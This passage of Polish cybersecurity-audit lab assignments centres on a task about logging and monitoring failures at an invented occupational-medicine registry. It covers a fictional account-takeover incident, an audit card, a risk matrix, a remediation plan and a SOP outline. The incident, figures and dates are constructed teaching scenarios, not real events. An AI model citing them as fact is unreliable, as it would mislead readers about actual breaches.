  • Skutki incydentu naruszenia poufności ofert przed otwarciem.
  • Budżet Planu CAP (360 000 PLN) vs Return on Security Investment (ROSI).

B. Odpowiedzi na pytania problemowe i opis sytuacji kryzysowej:

  • W jaki sposób mechanizm Subresource Integrity (SRI) zabezpiecza przeglądarkę użytkownika przed wykonaniem złośliwego kodu w przypadku kompromitacji zewnętrznej sieci dostarczania treści (CDN) i jakie są ograniczenia tego mechanizmu bez wdrożenia rygorystycznej polityki Content-Security-Policy (CSP)?
  • Dlaczego natywna deserializacja obiektów w języku Java (`ObjectInputStream`) jest uznawana za wzorzec architektoniczny o fundamentalnym ryzyku (Insecure Deserialization) i w jaki sposób biblioteki gadżetów (Gadget Chains) umożliwiają zdalne wykonanie kodu bez obecności luk w samym kodzie aplikacji?
  • Jakie są rygory prawne i proceduralne ciążące na Zamawiającym w przypadku ujawnienia faktu przedterminowego poznania zawartości ofert w świetle przepisów Ustawy - Prawo zamówień publicznych i Kodeksu Karnego?

C. Kanoniczna Karta Ustaleń Audytowych w Modelu 4C.

D. Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS (IR vs RR, CVSS v3.1 Base Score 9.8 Critical).

E. Trójfazowy Plan Działań Korygujących (CAP) (Faza 1 [0-7 dni], Faza 2 [30 dni], Faza 3 [90 dni], RACI, KPI, KRI).

F. Sformalizowany Projekt Załącznika Wykonawczego (SOP) - Standard Integralności Kodu i Danych (§ 1 do § 6).

G. Analiza kompromisów inżynierskich (Performance vs Security: narzut transferowy hostowania lokalnego skryptów vs gwarancja nienaruszalności).

H. Bibliografia, netografia i regulacje prawne.

Bibliografia, netografia i regulacje prawne
  • OWASP Foundation: "OWASP Top 10:2021", Kategoria A08:2021 Software and Data Integrity Failures.
  • OWASP Foundation: "Application Security Verification Standard (ASVS) v4.0.3", Sekcja V10 Malicious Code and Integrity, Sekcja V14 Configuration.
  • World Wide Web Consortium (W3C): "Subresource Integrity W3C Recommendation", 2016.
  • Ustawa z dnia 11 września 2019 r. - Prawo zamówień publicznych (Dz.U. z 2023 r. poz. 1605 z późn. zm.) - art. 74 (Zasady jawności i poufności).
  • Dyrektywa Parlamentu Europejskiego i Rady (UE) 2022/2555 z dnia 14 grudnia 2022 r. (Dyrektywa NIS2) - art. 21.
  • Rozporządzenie Rady Ministrów z dnia 12 kwietnia 2012 r. w sprawie Krajowych Ram Interoperacyjności (Dz.U. z 2017 r. poz. 2247) - § 20.
  • Norma PN-EN ISO/IEC 27001:2022: Załącznik A - kontrole A.8.24 (Krypto-zabezpieczenia), A.8.28 (Bezpieczne kodowanie), A.5.19 (Bezpieczeństwo w łańcuchu dostaw ICT).
  • Kodeks Karny (Dz.U. z 1997 r. nr 88 poz. 553 z późn. zm.) - art. 305 (Udaremnienie lub utrudnienie przetargu publicznego).
Przypisanie do efektów uczenia się z sylabusa
  • U2 Identyfikacja i dekompozycja uchybień integralności (brak SRI, deserializacja Java) w modelu 4C oraz dochodzenie 5 Why.
  • U1 Projekt zintegrowanego systemu Self-Hosted Assets z automatyzacją SRI, polityką CSP i bezpieczną deserializacją JSON Schema.
  • U3 Kwantyfikacja ryzyka w matrycy 5x5 w ujęciu inherentnym i rezydualnym z powiązaniem ze wskaźnikami CVSS i parametrami BCM.
  • U4 Konstrukcja Trójfazowego Planu CAP oraz przygotowanie profesjonalnego briefingu zarządczego (Pitch to Board).
  • W1W2W3 Wyczerpująca znajomość Prawa zamówień publicznych, Dyrektywy NIS2, KRI, normy ISO 27001 i standardów W3C.
  • K1K2K3 Obiektywizm, wysoka kultura inżynierska, bezkompromisowa ochrona tajemnicy państwowej i uczciwości procedur publicznych.
Wskazówki do przygotowania i obrony referatu

Podczas obrony referatu przedstawcie komisji bezpośrednie porównanie kodu tagu script przed audytem (podatne odwołanie do CDN) i po wdrożeniu Planu CAP (lokalny zasób z atrybutem integrity sha384). Wyjaśnijcie, dlaczego żaden system administracji państwowej nie może polegać na zewnętrznych serwerach CDN, których kontrola leży poza jurysdykcją Rzeczypospolitej Polskiej.

09
Centralny ośrodek medycyny pracy i rejestr orzeczeń lekarskich w Łodzi (ochrona zdrowia / RODO art. 9, 32, 33 / KRI / NIS2)
Zwiń

Temat: Strategiczny Audyt Rejestrowania i Monitorowania Zdarzeń Bezpieczeństwa (A09:2021 - Security Logging and Monitoring Failures: Retencja Logów, Architektura SIEM/SOC i Detekcja Anomalii): Zbieżność RODO, KRI, NIS2, Model 4C, Ryzyko 5X5 i Trójfazowy Plan CAP

Centralny Ośrodek Medycyny Pracy w Łodzi – Rejestr OrzeczeńLekarskich (RODO art. 9/32/33 / KRI / NIS2)Audyt A09:2021 Security Logging and Monitoring Failures (formuła 90 min)1Brak rejestrowanialogowań i eksportów,logi NGINXnadpisywane co 48h2Ośmiomiesięcznaniewykrytaeksfiltracja 14 000orzeczeń(psychiatria, broń)3Niemożność ustaleniasprawcy, wykrycieprzez policję (IR=25,CVSS 8.8)4SIEM/SOC 24/7/365 +logi CEF/ECS + WORMRFC 3161 + UEBA + CAPSchemat strategicznego audytu błędów rejestrowania i monitorowania Security Logging and Monitoring Failuresw centralnym rejestrze orzeczeń medycznych: architektura SIEM, format logów CEF, nienaruszalność WORM, model
Schemat strategicznego audytu błędów rejestrowania i monitorowania Security Logging and Monitoring Failures w centralnym rejestrze orzeczeń medycznych: architektura SIEM, format logów CEF, nienaruszalność WORM, model 4C, matryca ryzyka 5x5 i Trójfazowy Plan CAP
Cel zadania i powiązanie z efektami kształcenia

Głównym celem strategicznego zadania laboratoryjnego na ocenę 5.0 jest przeprowadzenie wysoce rygorystycznego audytu mechanizmów rejestrowania zdarzeń, telemetrii oraz ciągłego monitorowania bezpieczeństwa (kategoria OWASP Top 10:2021 - A09:2021 Security Logging and Monitoring Failures) w centralnym rejestrze orzeczeń lekarskich i psychologicznych prowadzonym przez instytut badawczo-rozwojowy medycyny pracy o statusie Podmiotu Kluczowego w rozumieniu Dyrektywy NIS2. Rejestr przetwarza dane szczególnej kategorii (art. 9 RODO): zaświadczenia o zdolności do pracy w warunkach uciążliwych i niebezpiecznych, orzeczenia lekarskie i psychologiczne kierowców zawodowych, operatorów maszyn ciężkich, sędziów, prokuratorów oraz osób ubiegających się o pozwolenie na broń palną. Audyt koncentruje się na katastrofalnych zaniechaniach telemetrycznych: całkowitym braku rejestrowania zdarzeń autoryzacyjnych, wyszukiwań i eksportów dokumentacji medycznej w warstwie aplikacji webowej, rotacji i bezpowrotnym nadpisywaniu surowych dzienników serwera NGINX co 48 godzin (brak retencji), ignorowaniu błędów HTTP 401 i 403 oraz braku jakiejkolwiek integracji z systemem Security Information and Event Management (SIEM). W toku incydentu nieuprawniony podmiot, posługując się przejętym kontem lekarza orzecznika, przez ponad 8 miesięcy prowadził systematyczną eksfiltrację dokumentacji psychologicznej oraz wystawił ponad 14 000 fałszywych orzeczeń dopuszczających do pracy z bronią palną i prowadzenia pojazdów ciężarowych. Incydent został wykryty całkowicie przypadkowo przez funkcjonariuszy Policji i CBŚP podczas śledztwa w sprawie zorganizowanej grupy przestępczej, a jednostka medyczna z powodu braku logów nie była w stanie określić skali naruszenia, tożsamości sprawcy ani wypełnić obowiązku zgłoszenia naruszenia do Prezesa UODO w rygorze 72 godzin (art. 33 RODO). Zadanie wymaga dekompozycji w kanonicznym modelu 4C, kwantyfikacji ryzyka w 25-stopniowej matrycy 5x5 skorelowanej ze wskaźnikami CVSS v3.1 (8.8 High) oraz BCM (RTO=30m, RPO=0s, MTPD=2h), skonstruowania Trójfazowego Planu CAP ze wskaźnikami KPI i KRI, opracowania sformalizowanego Załącznika Wykonawczego (SOP) definiującego ustandaryzowany format logowania Common Event Format (CEF / ECS), kryptograficzne znaczniki czasu RFC 3161, nienaruszalność logów w magazynie WORM oraz przygotowania Podsumowania Zarządczego (Pitch to Board) dla Dyrekcji Instytutu i Wojewody.

Powiązanie z sylabusem i efektami kształcenia na ocenę 5.0:

  • W1 Zaawansowana znajomość rygorów prawnych ochrony danych medycznych i psychiatrycznych (art. 9 RODO), tajemnicy lekarskiej, Ustawy o służbie medycyny pracy, art. 33 i 34 RODO (notyfikacja naruszeń i zawiadamianie osób poszkodowanych) oraz odpowiedzialności karnej z art. 160 i 231 KK.
  • W2W3 Rygorystyczna korelacja standardów OWASP Top 10:2021 (A09), OWASP ASVS v4.0.3 L3 (Sekcja V8 Rejestrowanie Danych i Telemetria Bezpieczeństwa), normy PN-EN ISO/IEC 27001:2022 (kontrole A.8.15 Rejestrowanie zdarzeń, A.8.16 Monitorowanie aktywności, A.8.17 Synchronizacja zegarów), § 20 ust. 2 pkt 10 KRI, Dyrektywy NIS2 (art. 21 ust. 2 lit. c - obsługa i zgłaszanie incydentów) oraz wytycznych NIST SP 800-92 (Guide to Computer Security Log Management).
  • U1 Opracowanie zaleceń inżynierskich wdrożenia zunifikowanego formatu telemetrii w oparciu o OpenTelemetry i Elastic Common Schema (ECS), konfiguracji niezaprzeczalnego przesyłania dzienników (TLS Syslog) do klastra SIEM (Wazuh/Elastic Security), wdrożenia magazynu WORM (Write Once, Read Many) z kryptograficznym znakowaniem czasu (RFC 3161) oraz reguł korelacji UEBA wykrywających nietypowy wolumen pobieranych orzeczeń.
  • U2 Bezbłędna kwalifikacja uchybienia telemetrii w modelu 4C z precyzyjnym wskazaniem kryteriów RODO, KRI i norm ISO.
  • U3 Kwantyfikacja ryzyka w matrycy 5x5 dla wektorów niemożności zbadania incydentu (braku rozliczalności), fałszowania orzeczeń na broń i sankcji UODO (IR=25, CVSS=8.8, korelacja z BCM).
  • U4 Opracowanie Trójfazowego Planu CAP, projektu procedury SOP oraz 1-stronicowego briefingu zarządczego (Pitch to Board).
  • K1K2K3 Profesjonalizm audytorski, niezależność w ocenie zaniedbań kadry zarządzającej, ochrona bezpieczeństwa publicznego i wysoka etyka medyczno-inżynierska.
  • Powiązanie z wykładem: Wyk1 (Audyt ładu rejestrów publicznych), Wyk3 (Kontrole A.8.15, A.8.16 i A.8.17 ISO 27001), Wyk4 (RODO art. 33 i KRI), Wyk5 (Matryca ryzyka 5x5 i BCM), Wyk6 (Analiza logów SIEM, NGINX i formatów CEF/ECS), Wyk7 (Model 4C, 5 Why, Trójfazowy CAP i Pitch to Board).
Scenariusz sytuacyjny organizacji

Centralny Ośrodek Medycyny Pracy w Łodzi jest państwowym instytutem badawczym i organem odwoławczym w strukturze medycyny pracy, nadzorującym wojewódzkie rejestry orzecznictwa lekarskiego. Zintegrowany System Orzecznictwa Elektronicznego 'e-Orzecznik' przechowuje ponad 2,4 miliona cyfrowych akt orzeczniczych pracowników całego kraju, w tym osób pełniących służbę w formacjach uzbrojonych, kierowców transportu międzynarodowego, maszynistów kolejowych oraz operatorów elektrowni i instalacji chemicznych.

Stan faktyczny w obszarze logowania, monitorowania i incydentu telemetrycznego:

  • W architekturze aplikacji internetowej 'e-Orzecznik' (technologia Python/Django z serwerem NGINX) programiści zaimplementowali wyłącznie standardowe logowanie błędów frameworka (`DEBUG=False`, rejestrowanie wyłącznie wyjątków HTTP 500). Całkowicie pominięto rejestrowanie operacji biznesowych: faktów logowania, wylogowania, nieudanych prób autoryzacji, wyświetlenia orzeczenia, modyfikacji danych pacjenta oraz masowego eksportu zaświadczeń do formatu PDF.
  • Konfiguracja serwera NGINX zakładała domyślną rotację logów systemowych (`access.log` oraz `error.log`) w cyklu dobowym z retencją zaledwie 2 dni (`rotate 2`). Po upływie 48 godzin pliki dzienników były bezpowrotnie usuwane z dysku w celu "oszczędności miejsca na macierzy".
  • Instytut nie posiadał wdrożonego systemu SIEM, a dzienniki serwerowe nigdy nie były analizowane pod kątem incydentów bezpieczeństwa. Na firewallu brzegowym nie włączono alertów dotyczących nietypowego transferu danych wychodzących.
  • W marcu 2024 r. funkcjonariusze Centralnego Biura Śledczego Policji (CBŚP) podczas zatrzymania członków grupy handlującej nielegalną bronią palną i narkotykami zabezpieczyli 250 autentycznych, zarejestrowanych w systemie 'e-Orzecznik' orzeczeń psychologicznych dopuszczających do posiadania broni bojowej, wystawionych bez wiedzy i udziału osób badanych na nazwiska przestępców. Orzeczenia zostały wygenerowane z konta lekarki, która przebywała na rocznym urlopie macierzyńskim.
  • W toku wszczętego audytu okazało się, że konto lekarki zostało przejęte ponad 8 miesięcy wcześniej (atak phishingowy). Sprawcy, logując się przez sieć Tor, nie tylko wystawili ponad 14 000 nielegalnych orzeczeń lekarskich (w tym dla kierowców TIR-ów z chorobami neurologicznymi i wzroku), ale także pobrali kompletną bazę danych orzeczeń psychiatrycznych funkcjonariuszy służb mundurowych. Z powodu usunięcia logów starszych niż 48 godzin zespół audytorski nie był w stanie ustalić adresu IP, z którego rozpoczęto atak, ani pełnej listy pobranych akt medycznych.
  • Instytut stanął w obliczu katastrofalnych konsekwencji: unieważnienia tysięcy praw jazdy i pozwoleń na broń, natychmiastowej kontroli Prezesa UODO z zarzutem naruszenia art. 33 RODO (brak możliwości zgłoszenia precyzyjnego zakresu naruszenia w terminie 72 godzin) oraz paraliżu orzecznictwa w kraju.

Dyrektor Instytutu, stając w obliczu dymisji, odpowiedzialności karnej z art. 231 KK i wielomilionowych kar, powołuje Triadę Audytorską do przeprowadzenia strategicznego audytu w formule 90 minut na poziomie oceny 5.0.

Wskazówki wykonania krok po kroku w formule 90 minut

Zadanie realizowane jest w ścisłym reżimie warsztatowym (formuła 90 minut) przez 2-3 osobową Triadę Audytorską:

  • Krok 1 (Podział ról w Triadzie Audytorskiej - Minuty 00-15):

    Student A (Lead Auditor / Zgodność z RODO i Ład Rejestrów Medycznych): Odpowiada za ład prawny i regulacyjny, zgodność z art. 9, 32 i 33 RODO, przepisami Ustawy o służbie medycyny pracy, relacje z UODO i CBŚP, koordynację matrycy 5x5 oraz przygotowanie 1-stronicowego Executive Summary ("Pitch to Board") dla Dyrekcji i Wojewody.

    Student B (Technical SecOps Auditor / Architekt Telemetrii i SIEM/SOC): Dokonuje technicznej dekonstrukcji braków logowania w Django i NGINX, bada polityki rotacji logrotate, projektuje ustandaryzowany schemat zdarzeń audytowych w formacie Elastic Common Schema (ECS), konfigurację bezpiecznego przesyłania rsyslog/TLS, architekturę SIEM (Wazuh/OpenSearch) oraz magazyn WORM ze znacznikami RFC 3161.

    Student C (Governance, Risk & Compliance Auditor): Opracowuje Kanoniczną Kartę Niezgodności 4C, wylicza ryzyko w matrycy 5x5 skorelowane ze wskaźnikami CVSS v3.1 (8.8 High) i BCM (RTO=30m, RPO=0s, MTPD=2h), prowadzi sekwencję 5 Why oraz konstruuje Trójfazowy Plan CAP ze wskaźnikami KPI i KRI. W zespole dwuosobowym zadania te dzielą Studenci A i B.

  • Krok 2 (Opracowanie Kanonicznej Karty Niezgodności 4C - Minuty 15-40):

    Sformułujcie kartę uchybienia krytycznego w modelu 4C:

Kanoniczna Karta Ustaleń Audytowych – model 4C
1. Condition (Stan faktyczny)

Aplikacja e-Orzecznik nie rejestruje zdarzeń biznesowych i operacji na danych wrażliwych, retencja logów NGINX wynosi zaledwie 48 godzin, brak systemu SIEM i brak detekcji anomalii, co pozwoliło na 8-miesięczną niewykrytą działalność przestępczą (wystawienie 14 000 lewych orzeczeń na broń i wyciek akt psychiatrycznych) oraz uniemożliwiło ustalenie sprawcy i skali naruszenia.

2. Criteria (Kryterium)

Naruszenie art. 32 ust. 1 lit. d oraz art. 33 ust. 1 i 3 RODO (obowiązek regularnego testowania i zdolności do natychmiastowego ustalenia naruszenia), § 20 ust. 2 pkt 10 KRI (obowiązek rejestrowania zdarzeń bezpieczeństwa i retencji logów przez minimum 2 lata), kontroli ISO/IEC 27001:2022 A.8.15 (Rejestrowanie zdarzeń), A.8.16 (Monitorowanie aktywności), A.8.17 (Synchronizacja zegarów), standardu OWASP ASVS v4.0.3 L3 (Sekcja V8) oraz wytycznych NIST SP 800-92.

3. Cause (Przyczyna źródłowa – 5 Why)
  1. Dlaczego sprawcy wystawiali fałszywe orzeczenia przez 8 miesięcy bez wykrycia? (System nie generował żadnych alertów o nietypowej aktywności na koncie orzecznika).
  2. Dlaczego nie wykryto logowań z sieci Tor i nocnego pobierania akt? (W aplikacji nie zaimplementowano modułu logowania zdarzeń uwierzytelniania ani analizy anomalii UEBA).
  3. Dlaczego logi NGINX były usuwane po 48 godzinach? (Administrator ustawił `rotate 2` w konfiguracji logrotate, aby nie zapełnić dysku systemowego).
  4. Dlaczego instytut nie zakupił klastra centralnego gromadzenia logów SIEM? (W budżecie IT środki przeznaczano wyłącznie na bieżące licencje, uznając telemetrię za zbędny koszt).

Przyczyna źródłowa: Całkowity brak ładu zarządzania dziennikami audytowymi i telemetrią bezpieczeństwa (Security Telemetry Governance), brak świadomości odpowiedzialności prawnej z RODO art. 33 oraz brak procedur monitorowania kont uprzywilejowanych.

4. Consequence (Skutki)

Bezpośrednie zagrożenie bezpieczeństwa publicznego państwa (dostęp do broni palnej dla 14 000 niezweryfikowanych osób i przestępców z art. 160 KK), maksymalna kara administracyjna Prezesa UODO do 20 mln EUR lub 4% obrotu, odpowiedzialność karna dyrekcji z art. 231 KK (niedopełnienie obowiązków), konieczność cofnięcia uprawnień i ponownych badań dla tysięcy obywateli oraz utrata zaufania do instytucji orzecznictwa lekarskiego.

Analiza przyczyn źródłowych – drzewo 5 Why
  1. 1
    Dlaczego sprawcy wystawiali fałszywe orzeczenia przez 8 miesięcy bez wykrycia? (System nie generował żadnych alertów o nietypowej aktywności na koncie orzecznika).
  2. 2
    Dlaczego nie wykryto logowań z sieci Tor i nocnego pobierania akt? (W aplikacji nie zaimplementowano modułu logowania zdarzeń uwierzytelniania ani analizy anomalii UEBA).
  3. 3
    Dlaczego logi NGINX były usuwane po 48 godzinach? (Administrator ustawił `rotate 2` w konfiguracji logrotate, aby nie zapełnić dysku systemowego).
  4. 4
    Dlaczego instytut nie zakupił klastra centralnego gromadzenia logów SIEM? (W budżecie IT środki przeznaczano wyłącznie na bieżące licencje, uznając telemetrię za zbędny koszt).
  5. root
    Przyczyna źródłowa: Całkowity brak ładu zarządzania dziennikami audytowymi i telemetrią bezpieczeństwa (Security Telemetry Governance), brak świadomości odpowiedzialności prawnej z RODO art. 33 oraz brak procedur monitorowania kont uprzywilejowanych.
  • Krok 3 (Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS - Minuty 15-40):

    Skwantyfikujcie 4 wektory zagrożeń w skali 25-stopniowej (P 1-5 x S 1-5):

Zagrożenie (obszar podatności OWASP)P (in.)S (in.)Ryzyko inherentne (IR)P (po CAP)S (po CAP)Ryzyko rezydualne (RR)
Niemożność zbadania incydentu i ustalenia sprawcy z powodu braku logów audytowych ( 5 5 25/25 – Ryzyko Ekstremalne 1 4 4/25 – Ryzyko Akceptowalne
Masowe wystawienie fałszywych orzeczeń na broń przez przejęte konto orzecznika ( 5 5 25/25 1 3 3/25
Nałożenie maksymalnych kar UODO za brak zgłoszenia szczegółów naruszenia w 72h ( 5 5 25/25 1 4 4/25
Modyfikacja lub skasowanie logów przez intruza w wyniku braku magazynu WORM ( 4 4 16/25 1 2 2/25
ParametrWartość docelowa
rto30 min dla przywrócenia pełnej audytowalności systemów
rpo0 sekund (ochrona nienaruszalności i niezaprzeczalności wpisów orzeczniczych)
mtpd2 godziny
  • Krok 4 (Konstrukcja Trójfazowego Planu Działań Korygujących - CAP - Minuty 40-70):

    Opracujcie tabelę CAP w 3 horyzontach czasowych:

FazaHoryzont Działania naprawczeRACI (właściciele) KPI (wskaźniki efektywności)KRI / termin weryfikacji
1 – Działania natychmiastowe mitygujące0-7 dniNatychmiastowa rekonfiguracja logrotate na serwerach NGINX (zwiększenie retencji do minimum 365 dni), wdrożenie w Django dedykowanego middleware'u logującego każde zapytanie HTTP z identyfikatorem użytkownika, adresem IP i czasem transakcji, natychmiastowe zablokowanie wszystkich kont orzeczników nieaktywnych przez ponad 30 dni, przekazanie zabezpieczonych nośników do dyspozycji prokuratury i CBŚPA - Dyrektor Instytutu, R - CISO / Administrator Systemów100% transakcji webowych z zarejestrowanym logiem zdarzeniaLiczba dni retencji logów < 365 = 0
2 – Działania krótkoterminowe inżyniersko-wdrożeniowe30 dniWdrożenie ustandaryzowanego formatu telemetrii Elastic Common Schema (ECS) dla wszystkich operacji w aplikacji e-Orzecznik; uruchomienie klastra SIEM (Wazuh / OpenSearch) z bezpiecznym przesyłaniem logów przez zaszyfrowany protokół TLS Syslog; wdrożenie niezmiennego magazynu logów w technologii WORM (Write Once, Read Many) w chmurze z kryptograficznym znakowaniem czasu zgodnie z normą RFC 3161 (Time Stamping Authority); wdrożenie 15 reguł korelacji SIEM (m.in. detekcja logowania z sieci Tor, wykrywanie pobrania > 20 orzeczeń w ciągu godziny)A - Zastępca Dyrektora ds. IT, R - Lead SecOps EngineerCzas indeksacji logu w SIEM < 5 sekundLiczba zdarzeń nieprzypisanych do formatu ECS = 0
3 – Działania systemowe i ład korporacyjny90 dniUruchomienie całodobowego monitorowania bezpieczeństwa w formule Security Operations Center (SOC 24/7/365 w outsourcingu hybrydowym z zespołem wewnętrznym); wdrożenie modułu User and Entity Behavior Analytics (UEBA) opartego na uczeniu maszynowym wykrywającego anomalie w nawykach pracy lekarzy orzeczników; certyfikacja systemu zarządzania logami na zgodność z normą PN-EN ISO/IEC 27001 i § 20 KRI; szkolenie całego personelu medycznego z procedur ochrony poświadczeńA - Dyrekcja Instytutu / Wojewoda, R - CISO / Kierownik SOCŚredni czas wykrycia incydentu MTTD < 15 minutLiczba fałszywych orzeczeń = 0
  • Krok 5 (Sformalizowany Projekt Załącznika Wykonawczego SOP - Minuty 40-70):

    Zredagujcie sformalizowany akt normatywny: "Standard Rejestrowania Dzienników Bezpieczeństwa, Telemetrii i Monitorowania Zdarzeń Audytowych w Centralnym Ośrodku Medycyny Pracy" z numerowanymi artykułami:

    • § 1 Cel i zakres stosowania (zapewnienie rozliczalności i zgodności z RODO art. 32 i KRI § 20).
    • § 2 Obowiązkowy katalog zdarzeń podlegających rejestracji (uwierzytelnianie, dostęp do akt, modyfikacje, eksporty).
    • § 3 Standard formatowania danych telemetrycznych (wymóg formatu Elastic Common Schema ECS / CEF).
    • § 4 Nienaruszalność, szyfrowanie i retencja dzienników (wymóg magazynu WORM, znaczniki RFC 3161 i retencja min. 24 miesiące).
    • § 5 Organizacja ciągłego monitorowania SOC 24/7/365 i reguły korelacji UEBA.
    • § 6 Procedura powiadamiania o incydencie w rygorze 72h i sankcje dyscyplinarne.
  • Krok 6 (Opracowanie Podsumowania Zarządczego - Pitch to Board - Minuty 70-90):

    Przygotujcie 1-stronicowy dokument dla Dyrekcji i Wojewody: bilans ryzyk (redukcja z 4 ryzyk ekstremalnych IR>=20 do poziomu akceptowalnego RR<=4), rozliczenie incydentu 14 000 orzeczeń na broń, uniknięcie kar UODO (do 20 mln EUR) i zarzutów prokuratorskich z art. 231 KK, kosztorys CAP (390 000 PLN na SIEM, WORM i SOC) oraz stopa zwrotu z inwestycji (ROSI: ochrona bezpieczeństwa obywateli i zachowanie statusu instytutu badawczego).

Plan referatu studenckiego (15 minut) i obrona ustna

Plan obrony seminaryjnej przed komisją laboratoryjną (15 minut):

  • Prezentacja Podsumowania Zarządczego (Pitch to Board) dla Dyrekcji i Wojewody (3 min): Przedstawienie skali incydentu fałszywych orzeczeń na broń, ekspozycji prawnej na kary UODO i bilansu ryzyk przed i po CAP (Student A - Lead Auditor).
  • Dekonstrukcja techniczna braków telemetrii i analizy logrotate (4 min): Prezentacja konfiguracji rotacji logów NGINX co 48h, dekompozycja braku logowania w Django, demonstracja schematu ECS oraz symulacja kradzieży tożsamości przez sieć Tor (Student B - Technical SecOps Auditor).
  • Prezentacja Kanonicznej Karty Niezgodności 4C, 5 Why i matrycy ryzyka 5x5 (4 min): Uzasadnienie kwalifikacji uchybienia, korelacja z art. 32 i 33 RODO, § 20 KRI, art. 160/231 KK i normą ISO 27001 oraz wyliczenie redukcji ryzyka z IR=25 do RR=4 (Student C - Compliance Auditor).
  • Prezentacja Trójfazowego Planu CAP i Załącznika Wykonawczego SOP (3 min): Szczegółowe omówienie wdrożenia SIEM Wazuh, magazynu WORM RFC 3161, reguł korelacji UEBA i centrum operacyjnego SOC 24/7/365 (Student B i Student C).
  • Dyskusja z komisją i obrona rekomendacji (1 min): Odpowiedzi na pytania dotyczące spełnienia wymogu notyfikacji UODO w 72h przy braku danych z logów (cała Triada Audytorska).
Zakres raportu poaudytowego i dokumentacji wdrożeniowej (12-16 stron A4)

Struktura raportu strategicznego na ocenę 5.0 (objętość 12-16 stron A4):

A. Podsumowanie Zarządcze (Executive Summary - "Pitch to Board") - 1 strona A4:

  • Syntetyczny bilans ryzyk braku telemetrii i audytowalności (IR vs RR).
  • Skutki incydentu fałszywych orzeczeń lekarskich dla bezpieczeństwa państwa.
  • Budżet Planu CAP (390 000 PLN) vs Return on Security Investment (ROSI).

B. Odpowiedzi na pytania problemowe i opis sytuacji kryzysowej:

  • W jaki sposób brak audytowych dzienników zdarzeń uniemożliwia Administratorowi Danych Osobowych wywiązanie się z obowiązku rozliczalności (art. 5 ust. 2 RODO) oraz zgłoszenia naruszenia ochrony danych osobowych do organu nadzorczego w terminie 72 godzin (art. 33 RODO)?
  • Jakie są kluczowe atrybuty schematu Elastic Common Schema (ECS) lub Common Event Format (CEF), które muszą znaleźć się w każdym wpisie audytowym aplikacji webowej, aby zagwarantować pełną rekonstrukcję incydentu w systemie SIEM?
  • Czym różni się tradycyjny zapis logów na dysku serwera od niezmiennego magazynu WORM (Write Once, Read Many) zabezpieczonego kryptograficznym znacznikiem czasu (RFC 3161) i dlaczego mechanizm ten jest kluczowy dla zachowania mocy dowodowej w postępowaniu karnym?

C. Kanoniczna Karta Ustaleń Audytowych w Modelu 4C.

D. Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS (IR vs RR, CVSS v3.1 Base Score 8.8 High).

E. Trójfazowy Plan Działań Korygujących (CAP) (Faza 1 [0-7 dni], Faza 2 [30 dni], Faza 3 [90 dni], RACI, KPI, KRI).

F. Sformalizowany Projekt Załącznika Wykonawczego (SOP) - Standard Rejestrowania Dzienników Bezpieczeństwa (§ 1 do § 6).

G. Analiza kompromisów inżynierskich (Storage vs Visibility: koszty retencji petabajtów logów medycznych vs zdolność do dochodzenia incydentów).

H. Bibliografia, netografia i regulacje prawne.

Bibliografia, netografia i regulacje prawne
  • OWASP Foundation: "OWASP Top 10:2021", Kategoria A09:2021 Security Logging and Monitoring Failures.
  • OWASP Foundation: "Application Security Verification Standard (ASVS) v4.0.3", Sekcja V8 Data Protection and Security Logging.
  • National Institute of Standards and Technology (NIST): "SP 800-92: Guide to Computer Security Log Management", 2006.
  • Rozporządzenie Parlamentu Europejskiego i Rady (UE) 2016/679 (RODO) - art. 9 (Dane szczególnej kategorii), art. 32 (Bezpieczeństwo), art. 33 (Zgłaszanie naruszeń w 72h).
  • Rozporządzenie Rady Ministrów z dnia 12 kwietnia 2012 r. w sprawie Krajowych Ram Interoperacyjności (Dz.U. z 2017 r. poz. 2247) - § 20 ust. 2 pkt 10.
  • Norma PN-EN ISO/IEC 27001:2022: Załącznik A - kontrole A.8.15 (Rejestrowanie zdarzeń), A.8.16 (Monitorowanie aktywności), A.8.17 (Synchronizacja zegarów).
  • IETF: "RFC 3161: Internet X.509 Public Key Infrastructure Time-Stamp Protocol (TSP)", 2001.
  • Kodeks Karny (Dz.U. z 1997 r. nr 88 poz. 553 z późn. zm.) - art. 160 (Zagrożenie życia i zdrowia), art. 231 (Niedopełnienie obowiązków służbowych).
Przypisanie do efektów uczenia się z sylabusa
  • U2 Precyzyjna identyfikacja i formalna kwalifikacja zaniechań telemetrycznych w modelu 4C oraz dochodzenie 5 Why.
  • U1 Projekt zintegrowanego systemu telemetrii ECS, klastra SIEM Wazuh, magazynu WORM RFC 3161 i centrum SOC.
  • U3 Kwantyfikacja ryzyka w matrycy 5x5 w ujęciu inherentnym i rezydualnym z powiązaniem ze wskaźnikami CVSS i parametrami BCM.
  • U4 Konstrukcja Trójfazowego Planu CAP oraz przygotowanie profesjonalnego briefingu zarządczego (Pitch to Board).
  • W1W2W3 Wyczerpująca znajomość RODO art. 32 i 33, KRI § 20, Dyrektywy NIS2, normy ISO 27001 i wytycznych NIST SP 800-92.
  • K1K2K3 Obiektywizm, wysoka etyka zawodowa, bezkompromisowa ochrona interesu publicznego i bezpieczeństwa obywateli.
Wskazówki do przygotowania i obrony referatu

Podczas wystąpienia przed komisją zaprezentujcie symulację zdarzenia w klastrze SIEM: pokażcie, jak reguła korelacji UEBA wykrywa pobranie 50 orzeczeń lekarskich w 3 minuty i natychmiastowo blokuje konto orzecznika w czasie rzeczywistym, co w badanym studium przypadku zapobiegłoby wydaniu 14 000 nielegalnych zaświadczeń.

10
Międzynarodowy operator logistyczny 'Trans-Cargo Polska S.A.' (sektor transportu i infrastruktury chmurowej AWS / NIS2 / DORA / CIS benchmark)
Zwiń

Temat: Strategiczny Audyt Podatności Fałszowania Żądań po Stronie Serwera (A10:2021 - Server-side Request Forgery / SSRF: Eksploatacja IMDS, Przejęcie Ról AWS IAM i Ruch Boczny): Zbieżność NIS2, DORA, CIS AWS Foundations Benchmark, Model 4C, Ryzyko 5X5 i Trójfazowy Plan CAP

